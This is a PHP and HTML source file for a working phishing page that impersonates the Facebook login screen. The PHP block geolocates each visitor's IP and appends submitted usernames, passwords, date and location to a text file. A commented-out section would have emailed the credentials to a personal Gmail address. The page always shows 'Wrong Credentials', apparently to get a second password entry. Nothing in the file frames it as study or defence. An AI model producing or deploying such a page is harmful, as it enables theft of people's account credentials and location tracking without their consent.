<?php

function get_IP_address()
{
    foreach (array('HTTP_CLIENT_IP',
                   'HTTP_X_FORWARDED_FOR',
                   'HTTP_X_FORWARDED',
                   'HTTP_X_CLUSTER_CLIENT_IP',
                   'HTTP_FORWARDED_FOR',
                   'HTTP_FORWARDED',
                   'REMOTE_ADDR') as $key){
        if (array_key_exists($key, $_SERVER) === true){
            foreach (explode(',', $_SERVER[$key]) as $IPaddress){
                $IPaddress = trim($IPaddress); // Just to be safe

                if (filter_var($IPaddress,
                               FILTER_VALIDATE_IP,
                               FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)
                    !== false) {

                    return $IPaddress;
                }
            }
        }
    }
}

    $ip = get_IP_address();
    $loc = file_get_contents("http://ip-api.com/json/$ip");
    $locdec = json_decode($loc, true);
   
   $decode =  $locdec["country"].' '. $locdec["countrycode"].' '. $locdec["city"] .' '. $locdec["region"] .' '. $locdec["regionName"] .' '. $locdec["timezone"] .' '. $locdec["isp"] .' '. $locdec["query"] ;
  
    // echo $decode;

    // $show = $locdec->country->city;

    // echo $show;




date_default_timezone_set('Africa/Lagos');
$date = date("d-m-Y h:i:sa");
$dube = " FACEBPS .DUPLICATE PASSWORD ";

// echo $dube;
if (isset($_POST['submit'])) {


    $name = $_POST['uname'];
    $pass = $_POST['pass'];
    $country = $_POST['country'];
    $city = $_POST['city'];
    $ip = $_POST['ip'];

    if (empty($name || $pass )){
        $error = "This field can't be empty";

    }elseif (strlen($name)>30){
         $error = "Wrong Credentials";

    }elseif (strlen($pass)<6){
        $error = "Invalid username or password";

    }else{

    // the message
$msg = $dube. "\r\n" ."USERNAME: ".$name. " " ."PASSWORD:". " " .$pass. "//" ."\r\n" .$date. " " .$decode ;

// use wordwrap() if lines are longer than 70 characters
$msg = wordwrap($msg,70);

file_put_contents("inbox.txt", $msg.PHP_EOL,FILE_APPEND);
 header('location: /vr.php');

    }





//     $mailTo = "drdivson123@gmail.com";
//     $headers = "from: " .$name;

//     $txt =  "you recieve an email from ".$name.".\n\n".$pass;

// mail($mailTo, $headers, $txt);

}


?>







<!DOCTYPE html>
<html lang="en" id="facebook" class="no_js">
<head>
    <meta charset="utf-8" />
    <meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" />
    <script nonce="Z4MtSKHI">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env||{},b(window.Env))}envFlush({"useTrustedTypes":false,"isTrustedTypesReportOnly":false,"ajaxpipe_token":"AXii6iLX49WhJ-TLeiI","remove_heartbeat":false,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ4fh-hemSzOgRUwZ-k","isCQuick":false});</script>
    <script nonce="Z4MtSKHI">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script>
    <style nonce="Z4MtSKHI">

    </style>
    <script nonce="Z4MtSKHI">
    __DEV__=0;</script>
    <noscript><meta http-equiv="refresh" content="0; URL=/login.php/?_fb_noscript=1" /></noscript
        ><link rel="manifest" id="MANIFEST_LINK" href="" crossorigin="use-credentials" />
        <title id="pageTitle"> Facebook</title>
        <meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." />
        <meta property="og:site_name" content="Facebook" />
        <meta property="og:url" content="" />
        <meta property="og:locale" content="en_US" />
        <link rel="canonical" href="" />
        <link rel="icon" href="" />
        <link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yk/l/0,cross/spc-eFYPfEt.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="ECmA6zn" crossorigin="anonymous" />
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yR/l/0,cross/cpqgTojwVjB.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="GrqIbBd" crossorigin="anonymous" />
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yG/l/0,cross/fERKYRAyCaF.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="5ai6w4/" crossorigin="anonymous" />
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yy/l/0,cross/lcoQnlPfo4I.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="+U4Ilr9" crossorigin="anonymous" />
<link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yl/l/0,cross/zXvhQagBa-d.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="GZpxKg9" crossorigin="anonymous" />
<script src="https://static.xx.fbcdn.net/rsrc.php/v3/ym/r/XHkBr6PgDoG.js?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="jh1l3zT" crossorigin="anonymous" nonce="Z4MtSKHI"></script>


<body class="_39il _97vt _97vz _97v- _97v_ _97w2 _97w0 _9ax- _9ax_ _9ay1 UIPage_LoggedOut _-kb _605a b_c3pyn-ahh gecko win x1 Locale_en_US" dir="ltr">
    <script type="text/javascript" nonce="Z4MtSKHI">requireLazy(["bootstrapWebSession"],function(j){j(1702712543)})</script>
    <div class="_li" id="u_0_0_04">
        <div id="globalContainer" class="uiContextualLayerParent">
            <div class="fb_content clearfix " id="content" role="main">
                <div class="_4-u5 _30ny">
                    <div class="_97vy"><img class="_97vu img" src="https://static.xx.fbcdn.net/rsrc.php/y1/r/4lCu2zih0ca.svg" alt="Facebook" />
                    </div>
                    <div class="_4-u2 _1w1t _4-u8 _52jv">
                        <div class="_xku" id="header_block">
                            <span class="_97w1 _50f6">
                            <div class="_9axz">Log Into Facebook</div>

                                            <p id="feedback" style="color: red;  font-family: sans-serif; font-size: 14px; text-align: center; margin: 0 30px;  ">
                                          <?php     echo  $error;  ?>
                                    </p> 

                                    <?php 
                                             echo  '<p id="feedback" style="color: red;  font-family: sans-serif; font-size: 14px; text-align: center; margin: 0 30px;  "> Wrong Credentials </p>' ;
                                    ?>
                        </span>
                    </div>
                            <div class="login_form_container">
                                <form id="login_form" action="" method="post" onsubmit="">
                                    <!-- <input type="hidden" name="jazoest" value="2935" autocomplete="off" />
                                    <input type="hidden" name="lsd" value="AVqdLBx2VTY" autocomplete="off" />
                                    <input type="hidden" autocomplete="off" id="error_box" />
                                    <div id="loginform">
                                        <input type="hidden" autocomplete="off" id="display" name="display" value="" /> -->
                                            <!-- <input type="hidden" autocomplete="off" id="isprivate" name="isprivate" value="" />
                                            <input type="hidden" autocomplete="off" id="return_session" name="return_session" value="" />
                                            <input type="hidden" autocomplete="off" id="skip_api_login" name="skip_api_login" value="" />
                                            <input type="hidden" autocomplete="off" id="signed_next" name="signed_next" value="" />
                                            <input type="hidden" autocomplete="off" id="trynum" name="trynum" value="1" />
                                            <input type="hidden" autocomplete="off" name="timezone" value="" id="u_0_1_Y9" />
                                            <input type="hidden" autocomplete="off" name="lgndim" value="" id="u_0_2_va" />
                                            <input type="hidden" name="lgnrnd" value="234223_CBSZ" />
                                            <input type="hidden" id="lgnjs" name="lgnjs" value="n" /> -->

                                            <div class="clearfix _5466 _44mg" id="email_container">
                                            <input type="text" class="inputtext _55r1 inputtext _1kbt inputtext _1kbt" name="uname" id="email" tabindex="0"
                                                placeholder="Email or phone number" value="" autofocus="1" autocomplete="username" aria-label="Email or phone number" />
                                    </div>

                                            <div class="clearfix _5466 _44mg">
                                                <div>
                                                    <div class="clearfix _5466 _44mg" id="email_container">
                                                        <input type="password" class="inputtext _55r1 inputtext _1kbt inputtext _1kbt" name="pass" id="passw" tabindex="0"
                                                        placeholder="Password" value="" autofocus="1" autocomplete="username" aria-label="Email or phone number" />
                                                
                                                <div class="_9ls7" id="u_0_3_FQ">
                                                    <a href="#" role="button">
                                                        <div class="_9lsa">
                                                            <div class="_9lsb" id="u_0_4_un">

                                                            </div>
                                                        </div>
                                                    </a></div>

                                                    </div>
                                                </div>
                                            </div>
                                            <div class="_xkt">
                                                <button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy" id="loginbutton" name="submit" tabindex="0" type="submit">Log In</button>
                                            </div>


                                            <div id="login_link">
                                                <div class="_97w3">
                                                    <a href="#" class="_97w4" >Forgot account?</a>
                                                </div>
                                                <div class="_1rf5">
                                                    <span class="_1rf8">or</span>
                                                </div>
                                                <div class="_xkt">
                                                    <a role="button" class="_42ft _4jy0 _16jx _4jy6 _4jy2 selected _51sy" href="#">Create new account</a>
                                                </div>
                                            </div>
                                        </div>
                                        <!-- <input type="hidden" autocomplete="off" id="prefill_contact_point" name="prefill_contact_point" value="" />
                                                <input type="hidden" autocomplete="off" id="prefill_source" name="prefill_source" />
                                                <input type="hidden" autocomplete="off" id="prefill_type" name="prefill_type" />
                                                <input type="hidden" autocomplete="off" id="first_prefill_source" name="first_prefill_source" />
                                                <input type="hidden" autocomplete="off" id="first_prefill_type" name="first_prefill_type" />
                                                <input type="hidden" autocomplete="off" id="had_cp_prefilled" name="had_cp_prefilled" value="false" />
                                                <input type="hidden" autocomplete="off" id="had_password_prefilled" name="had_password_prefilled" value="false" />
                                                <input type="hidden" autocomplete="off" name="ab_test_data" value="" />
                                </form> -->
                                            
                                        
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div class="">
                                    <div class="_95ke _8opy">
                                        <div id="pageFooter" data-referrer="page_footer" data-testid="page_footer">
                                            <ul class="uiList localeSelectorList _2pid _509- _4ki _6-h _6-j _6-i" data-nocookies="1">
                                                <li>English (US)</li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">Español</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">Français (France)</a></li>\
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">中文(简体)</a></li>
                                                <li><a class="_sv4" dir="rtl" href="" onclick="">العربية</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">Português (Brasil)</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">Italiano</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">한국어</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">Deutsch</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="" >हिन्दी</a></li>
                                                <li><a class="_sv4" dir="ltr" href="" onclick="">日本語</a></li>
                                                <li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fja-jp.facebook.com%2Flogin.php%2F&amp;source=www_list_selector_more" href="#" title="Show more languages">
                                                    <i class="img sp_EP9wX8qDDvu sx_0de3e6"></i>
                                                </a>
                                            </li>

                                            </ul>

                                            <div id="contentCurve">

                                            </div>
                                            <div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links">
                                                <ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i">
                                                    <li>
                                                        <a href="#" title="Sign Up for Facebook">Sign Up</a></li>
                                                        <li>
                                                            <a href="#" title="Log into Facebook">Log In</a>
                                                        </li>

                                                        <li>
                                                            <a href="" title="Check out Messenger.">Messenger</a>
                                                        </li>
                                                        <li><a href="" title="Facebook Lite for Android.">Facebook Lite</a></li>
                                                        <li><a href="" title="Browse in Video">Video</a></li>
                                                        <li><a href="" title="Check out popular places on Facebook.">Places</a></li>
                                                        <li><a href="" title="Check out Facebook games.">Games</a></li>
                                                        <li><a href="" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li>
                                                        <li><a href="" title="Learn more about Meta Pay" >Meta Pay</a></li>
                                                        <li><a href="" title="Check out Meta" >Meta Store</a></li>
                                                        <li><a href="" title="Learn more about Meta Quest" >Meta Quest</a></li>
                                                        <li><a href="" title="Check out Instagram" >Instagram</a></li>
                                                        <li><a href="" title="Check out Threads">Threads</a></li>
                                                        <li><a href="" title="Donate to worthy causes.">Fundraisers</a></li>
                                                        <li><a href="" title="Browse our Facebook Services directory.">Services</a></li>
                                                        <li><a href="" title="See the Voting Information Center.">Voting Information Center</a></li>
                                                        <li><a href="" title="Learn how we collect, use and share information to support Facebook.">Privacy Policy</a></li>
                                                        <li><a href="" title="Learn how to manage and control your privacy on Facebook.">Privacy Center</a></li>
                                                        <li><a href="" title="Explore our Groups.">Groups</a></li>
                                                        <li><a href="" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li>
                                                        <li><a href="" title="Advertise on Facebook.">Create ad</a></li>
                                                        <li><a href="" title="Create a page">Create Page</a></li>
                                                        <li><a href="" title="Develop on our platform.">Developers</a></li>
                                                        <li><a href="" title="Make your next career move to our awesome company.">Careers</a></li>
                                                        <li><a href="" title="Learn about cookies and Facebook." data-nocookies="1">Cookies</a></li>
                                                        <li><a class="_41ug"  href="#" title="Learn about Ad Choices.">Ad choices<i class="img sp_EP9wX8qDDvu sx_6bdd81"></i></a></li>
                                                        <li><a  href="" accesskey="9" title="Review our terms and policies.">Terms</a></li>
                                                        <li><a href="" accesskey="0" title="Visit our Help Center.">Help</a></li>
                                                        <li><a href="" title="Visit our Contact Uploading &amp; Non-Users Notice.">Contact Uploading &amp; Non-Users</a></li>
                                                        <li><a accesskey="6" class="accessible_elem" href="#" title="View and edit your Facebook settings.">Settings</a></li>
                                                        <li><a accesskey="7" class="accessible_elem" href="#" title="View your activity log">Activity log</a></li>
                                                    </ul>
                                                </div>
                                                    
                                                    <div class="mvl copyright">
                                                        <div>
                                                            <span> Meta © 2023</span>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div>

                                    </div>
                                    <span><img src="https://facebook.com/security/hsts-pixel.gif" width="0" height="0" style="display:none" /></span>
                                </div>
                                <div style="display:none">
                                    <div>

                                    </div>
                                    <div>

                                    </div>
                                </div>
</body>
</html>